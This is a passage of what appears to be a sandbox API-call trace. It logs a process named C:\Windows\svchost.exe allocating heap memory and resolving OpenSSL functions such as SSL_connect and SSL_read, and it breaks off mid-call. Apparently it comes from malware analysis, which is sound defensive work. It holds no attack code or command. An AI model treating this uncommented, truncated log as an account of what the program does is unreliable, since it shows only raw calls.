¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿV¿\x9aø\x84ö\x18", lpUsedDefaultChar=0x0) returned 256 [0113.274] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x12051828, nSize=0x104 | out: lpFilename="C:\\Windows\\svchost.exe" (normalized: "c:\\windows\\svchost.exe")) returned 0x16 [0113.277] GetLastError () returned 0x0 [0113.277] SetLastError (dwErrCode=0x0) [0113.277] GetLastError () returned 0x0 [0113.277] SetLastError (dwErrCode=0x0) [0113.277] GetLastError () returned 0x0 [0113.277] SetLastError (dwErrCode=0x0) [0113.277] GetLastError () returned 0x0 [0113.277] SetLastError (dwErrCode=0x0) [0113.277] GetLastError () returned 0x0 [0113.277] SetLastError (dwErrCode=0x0) [0113.277] GetLastError () returned 0x0 [0113.277] SetLastError (dwErrCode=0x0) [0113.277] GetLastError () returned 0x0 [0113.277] SetLastError (dwErrCode=0x0) [0113.277] GetLastError () returned 0x0 [0113.277] SetLastError (dwErrCode=0x0) [0113.277] GetLastError () returned 0x0 [0113.278] SetLastError (dwErrCode=0x0) [0113.278] GetLastError () returned 0x0 [0113.278] SetLastError (dwErrCode=0x0) [0113.278] GetLastError () returned 0x0 [0113.278] SetLastError (dwErrCode=0x0) [0113.278] GetLastError () returned 0x0 [0113.278] SetLastError (dwErrCode=0x0) [0113.278] GetLastError () returned 0x0 [0113.278] SetLastError (dwErrCode=0x0) [0113.278] GetLastError () returned 0x0 [0113.278] SetLastError (dwErrCode=0x0) [0113.278] GetLastError () returned 0x0 [0113.278] SetLastError (dwErrCode=0x0) [0113.278] GetLastError () returned 0x0 [0113.278] SetLastError (dwErrCode=0x0) [0113.278] GetLastError () returned 0x0 [0113.278] SetLastError (dwErrCode=0x0) [0113.278] GetLastError () returned 0x0 [0113.278] SetLastError (dwErrCode=0x0) [0113.278] GetLastError () returned 0x0 [0113.279] SetLastError (dwErrCode=0x0) [0113.279] GetLastError () returned 0x0 [0113.279] SetLastError (dwErrCode=0x0) [0113.279] GetLastError () returned 0x0 [0113.279] SetLastError (dwErrCode=0x0) [0113.279] GetLastError () returned 0x0 [0113.279] SetLastError (dwErrCode=0x0) [0113.279] GetLastError () returned 0x0 [0113.279] SetLastError (dwErrCode=0x0) [0113.279] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x0, Size=0x1f) returned 0x2e519c8 [0113.279] GetLastError () returned 0x0 [0113.279] SetLastError (dwErrCode=0x0) [0113.279] GetLastError () returned 0x0 [0113.279] SetLastError (dwErrCode=0x0) [0113.279] GetLastError () returned 0x0 [0113.279] SetLastError (dwErrCode=0x0) [0113.279] GetLastError () returned 0x0 [0113.279] SetLastError (dwErrCode=0x0) [0113.279] GetLastError () returned 0x0 [0113.280] SetLastError (dwErrCode=0x0) [0113.280] GetLastError () returned 0x0 [0113.280] SetLastError (dwErrCode=0x0) [0113.280] GetLastError () returned 0x0 [0113.280] SetLastError (dwErrCode=0x0) [0113.280] GetLastError () returned 0x0 [0113.280] SetLastError (dwErrCode=0x0) [0113.280] GetLastError () returned 0x0 [0113.280] SetLastError (dwErrCode=0x0) [0113.280] GetLastError () returned 0x0 [0113.280] SetLastError (dwErrCode=0x0) [0113.280] GetLastError () returned 0x0 [0113.280] SetLastError (dwErrCode=0x0) [0113.280] GetLastError () returned 0x0 [0113.280] SetLastError (dwErrCode=0x0) [0113.280] GetLastError () returned 0x0 [0113.280] SetLastError (dwErrCode=0x0) [0113.280] GetLastError () returned 0x0 [0113.280] SetLastError (dwErrCode=0x0) [0113.281] GetLastError () returned 0x0 [0113.281] SetLastError (dwErrCode=0x0) [0113.281] GetLastError () returned 0x0 [0113.281] SetLastError (dwErrCode=0x0) [0113.281] GetLastError () returned 0x0 [0113.281] SetLastError (dwErrCode=0x0) [0113.281] GetLastError () returned 0x0 [0113.281] SetLastError (dwErrCode=0x0) [0113.281] GetLastError () returned 0x0 [0113.281] SetLastError (dwErrCode=0x0) [0113.281] GetLastError () returned 0x0 [0113.281] SetLastError (dwErrCode=0x0) [0113.281] GetLastError () returned 0x0 [0113.281] SetLastError (dwErrCode=0x0) [0113.281] GetLastError () returned 0x0 [0113.281] SetLastError (dwErrCode=0x0) [0113.281] GetLastError () returned 0x0 [0113.281] SetLastError (dwErrCode=0x0) [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x9c) returned 0x2e519f0 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x1f) returned 0x2e51a98 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x36) returned 0x2e51ac0 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x37) returned 0x2e51b00 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x3c) returned 0x2e51b40 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x31) returned 0x2e51b88 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x17) returned 0x2e51bc8 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x24) returned 0x2e51be8 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x14) returned 0x2e51c18 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0xd) returned 0x2e51c38 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x25) returned 0x2e51c50 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x39) returned 0x2e51c80 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x18) returned 0x2e51cc8 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x17) returned 0x2e51ce8 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0xe) returned 0x2e51d08 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x69) returned 0x2e51d20 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x3e) returned 0x2e51d98 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x1b) returned 0x2e51de0 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x1d) returned 0x2e51e08 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x48) returned 0x2e51e30 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x12) returned 0x2e51e80 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x18) returned 0x2e51ea0 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x1b) returned 0x2e51ec0 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x24) returned 0x2e51ee8 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x29) returned 0x2e51f18 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x1e) returned 0x2e51f50 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0xc) returned 0x2e51f78 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x41) returned 0x2e51f90 [0113.282] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x17) returned 0x2e51fe8 [0113.297] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0xf) returned 0x2e52008 [0113.297] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x16) returned 0x2e52020 [0113.297] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x2a) returned 0x2e52040 [0113.297] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x29) returned 0x2e52078 [0113.297] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x15) returned 0x2e520b0 [0113.297] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x1e) returned 0x2e520d0 [0113.297] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x2a) returned 0x2e520f8 [0113.297] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x12) returned 0x2e52130 [0113.297] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x18) returned 0x2e52150 [0113.297] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x46) returned 0x2e52170 [0113.297] HeapFree (in: hHeap=0x2e50000, dwFlags=0x0, lpMem=0x2e509f0 | out: hHeap=0x2e50000) returned 1 [0113.300] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76d30000 [0113.300] GetProcAddress (hModule=0x76d30000, lpProcName="IsProcessorFeaturePresent") returned 0x76d45235 [0113.300] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0113.318] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x800) returned 0x2e521c0 [0113.318] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x80) returned 0x2e509f0 [0113.318] RtlSizeHeap (HeapHandle=0x2e50000, Flags=0x0, MemoryPointer=0x2e509f0) returned 0x80 [0113.319] SetErrorMode (uMode=0x0) returned 0x8000 [0113.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_set_cipher_list", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0113.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_set_cipher_list", cchWideChar=23, lpMultiByteStr=0x80849c, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_CTX_set_cipher_list", lpUsedDefaultChar=0x0) returned 23 [0113.340] GetProcAddress (hModule=0x12000000, lpProcName="SSL_CTX_set_cipher_list") returned 0x12022140 [0113.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_new", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0113.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_new", cchWideChar=11, lpMultiByteStr=0x7f2f6c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_CTX_new", lpUsedDefaultChar=0x0) returned 11 [0113.340] GetProcAddress (hModule=0x12000000, lpProcName="SSL_CTX_new") returned 0x12024550 [0113.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_free", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0113.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_free", cchWideChar=12, lpMultiByteStr=0x7f2f6c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_CTX_free", lpUsedDefaultChar=0x0) returned 12 [0113.341] GetProcAddress (hModule=0x12000000, lpProcName="SSL_CTX_free") returned 0x12022ab0 [0113.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_set_fd", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0113.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_set_fd", cchWideChar=10, lpMultiByteStr=0x7f2f6c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_set_fd", lpUsedDefaultChar=0x0) returned 10 [0113.341] GetProcAddress (hModule=0x12000000, lpProcName="SSL_set_fd") returned 0x12021400 [0113.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_use_PrivateKey_file", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0113.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_use_PrivateKey_file", cchWideChar=27, lpMultiByteStr=0x80f81c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_CTX_use_PrivateKey_file", lpUsedDefaultChar=0x0) returned 27 [0113.341] GetProcAddress (hModule=0x12000000, lpProcName="SSL_CTX_use_PrivateKey_file") returned 0x1202be30 [0113.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_use_PrivateKey", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0113.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_use_PrivateKey", cchWideChar=22, lpMultiByteStr=0x80849c, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_CTX_use_PrivateKey", lpUsedDefaultChar=0x0) returned 22 [0113.341] GetProcAddress (hModule=0x12000000, lpProcName="SSL_CTX_use_PrivateKey") returned 0x1202bdc0 [0113.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_use_certificate", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0113.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_use_certificate", cchWideChar=23, lpMultiByteStr=0x80849c, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_CTX_use_certificate", lpUsedDefaultChar=0x0) returned 23 [0113.342] GetProcAddress (hModule=0x12000000, lpProcName="SSL_CTX_use_certificate") returned 0x1202ca70 [0113.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_use_certificate_file", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0113.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_use_certificate_file", cchWideChar=28, lpMultiByteStr=0x80f81c, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_CTX_use_certificate_file", lpUsedDefaultChar=0x0) returned 28 [0113.342] GetProcAddress (hModule=0x12000000, lpProcName="SSL_CTX_use_certificate_file") returned 0x1202cae0 [0113.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_use_certificate_chain_file", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0113.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_use_certificate_chain_file", cchWideChar=34, lpMultiByteStr=0x841c94, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_CTX_use_certificate_chain_file", lpUsedDefaultChar=0x0) returned 34 [0113.342] GetProcAddress (hModule=0x12000000, lpProcName="SSL_CTX_use_certificate_chain_file") returned 0x1202cc90 [0113.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_load_error_strings", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0113.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_load_error_strings", cchWideChar=22, lpMultiByteStr=0x80849c, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_load_error_strings", lpUsedDefaultChar=0x0) returned 22 [0113.342] GetProcAddress (hModule=0x12000000, lpProcName="SSL_load_error_strings") returned 0x12025240 [0113.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_state_string_long", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0113.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_state_string_long", cchWideChar=21, lpMultiByteStr=0x80849c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_state_string_long", lpUsedDefaultChar=0x0) returned 21 [0113.343] GetProcAddress (hModule=0x12000000, lpProcName="SSL_state_string_long") returned 0x1202a7c0 [0113.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_alert_desc_string_long", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0113.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_alert_desc_string_long", cchWideChar=26, lpMultiByteStr=0x80f81c, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_alert_desc_string_long", lpUsedDefaultChar=0x0) returned 26 [0113.343] GetProcAddress (hModule=0x12000000, lpProcName="SSL_alert_desc_string_long") returned 0x1202b4a0 [0113.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_alert_type_string_long", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0113.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_alert_type_string_long", cchWideChar=26, lpMultiByteStr=0x80f81c, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_alert_type_string_long", lpUsedDefaultChar=0x0) returned 26 [0113.343] GetProcAddress (hModule=0x12000000, lpProcName="SSL_alert_type_string_long") returned 0x1202b270 [0113.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_get_peer_certificate", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0113.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_get_peer_certificate", cchWideChar=24, lpMultiByteStr=0x80f81c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_get_peer_certificate", lpUsedDefaultChar=0x0) returned 24 [0113.343] GetProcAddress (hModule=0x12000000, lpProcName="SSL_get_peer_certificate") returned 0x12021710 [0113.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_set_verify", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0113.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_set_verify", cchWideChar=18, lpMultiByteStr=0x80849c, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_CTX_set_verify", lpUsedDefaultChar=0x0) returned 18 [0113.343] GetProcAddress (hModule=0x12000000, lpProcName="SSL_CTX_set_verify") returned 0x12022c90 [0113.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_set_verify_depth", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0113.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_set_verify_depth", cchWideChar=24, lpMultiByteStr=0x80f81c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_CTX_set_verify_depth", lpUsedDefaultChar=0x0) returned 24 [0113.344] GetProcAddress (hModule=0x12000000, lpProcName="SSL_CTX_set_verify_depth") returned 0x12022cb0 [0113.344] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_get_verify_depth", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0113.344] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_get_verify_depth", cchWideChar=24, lpMultiByteStr=0x80f81c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_CTX_get_verify_depth", lpUsedDefaultChar=0x0) returned 24 [0113.344] GetProcAddress (hModule=0x12000000, lpProcName="SSL_CTX_get_verify_depth") returned 0x12021680 [0113.344] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_set_default_passwd_cb", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0113.344] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_set_default_passwd_cb", cchWideChar=29, lpMultiByteStr=0x80f81c, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_CTX_set_default_passwd_cb", lpUsedDefaultChar=0x0) returned 29 [0113.344] GetProcAddress (hModule=0x12000000, lpProcName="SSL_CTX_set_default_passwd_cb") returned 0x12022c50 [0113.344] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_set_default_passwd_cb_userdata", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0113.344] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_set_default_passwd_cb_userdata", cchWideChar=38, lpMultiByteStr=0x841c94, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_CTX_set_default_passwd_cb_userdata", lpUsedDefaultChar=0x0) returned 38 [0113.344] GetProcAddress (hModule=0x12000000, lpProcName="SSL_CTX_set_default_passwd_cb_userdata") returned 0x12022c60 [0113.344] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_check_private_key", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0113.344] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_check_private_key", cchWideChar=25, lpMultiByteStr=0x80f81c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_CTX_check_private_key", lpUsedDefaultChar=0x0) returned 25 [0113.344] GetProcAddress (hModule=0x12000000, lpProcName="SSL_CTX_check_private_key") returned 0x12021860 [0113.344] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_new", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0113.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_new", cchWideChar=7, lpMultiByteStr=0x7fc13c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_new", lpUsedDefaultChar=0x0) returned 7 [0113.345] GetProcAddress (hModule=0x12000000, lpProcName="SSL_new") returned 0x12024bd0 [0113.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_free", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0113.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_free", cchWideChar=8, lpMultiByteStr=0x7f2f6c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_free", lpUsedDefaultChar=0x0) returned 8 [0113.345] GetProcAddress (hModule=0x12000000, lpProcName="SSL_free") returned 0x12024220 [0113.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_accept", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0113.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_accept", cchWideChar=10, lpMultiByteStr=0x7f2f6c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_accept", lpUsedDefaultChar=0x0) returned 10 [0113.359] GetProcAddress (hModule=0x12000000, lpProcName="SSL_accept") returned 0x12024f30 [0113.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_connect", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0113.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_connect", cchWideChar=11, lpMultiByteStr=0x7f2f6c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_connect", lpUsedDefaultChar=0x0) returned 11 [0113.359] GetProcAddress (hModule=0x12000000, lpProcName="SSL_connect") returned 0x12024f60 [0113.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_read", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0113.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_read", cchWideChar=8, lpMultiByteStr=0x7f2f6c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_read", lpUsedDefaultChar=0x0) returned 8 [0113.359] GetProcAddress (hModule=0x12000000, lpProcName="SSL_read") returned 0x120219b0 [0113.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_peek", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0113.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_peek", cchWideChar=8, lpMultiByteStr=0x7f2f6c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_peek", lpUsedDefaultChar=0x0) returned 8 [0113.360] GetProcAddress (hModule=0x12000000, 